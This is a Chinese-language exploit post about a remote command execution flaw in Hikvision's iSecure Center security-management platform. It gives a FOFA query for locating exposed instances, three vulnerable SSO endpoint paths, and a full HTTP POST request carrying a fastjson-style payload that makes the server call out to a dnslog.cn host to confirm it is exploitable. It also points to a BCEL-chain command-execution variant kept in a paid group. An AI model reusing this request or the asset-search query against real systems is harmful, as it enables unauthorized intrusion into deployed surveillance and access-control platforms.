海康威视iSecure-Center 综合安防管理平台 applyAutoLoginTicket/keepAlive/applyCT 远程命令执行漏洞

0x01 漏洞描述

海康威视iSecure Center综合安防管理平台是一套集成化、智能化的安防管理系统。

海康威视iSecure Center综合安防管理平台存在远程命令执行漏洞，可造成远程命令执行。

0x02 资产测绘

app="HIKVISION-综合安防管理平台" ||app="HIKVISION-iSecure-Center"

0x03 漏洞复现

使用DNSLOG进行漏洞检测，三个路径都可以

/bic/ssoService/v1/applyAutoLoginTicket

/bic/ssoService/v1/keepAlive

/bic/ssoService/v1/applyCT

POST /bic/ssoService/v1/applyAutoLoginTicket HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)
Content-Length: 3330
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: close

{"CTGT":{ "a": {"@type":"java.net.InetSocketAddress"{"address":,"val":"bx0art.dnslog.cn"}}}}

也可通过BCEL链加载字节码实现回显命令执行(星球内自取)

0x04 知识星球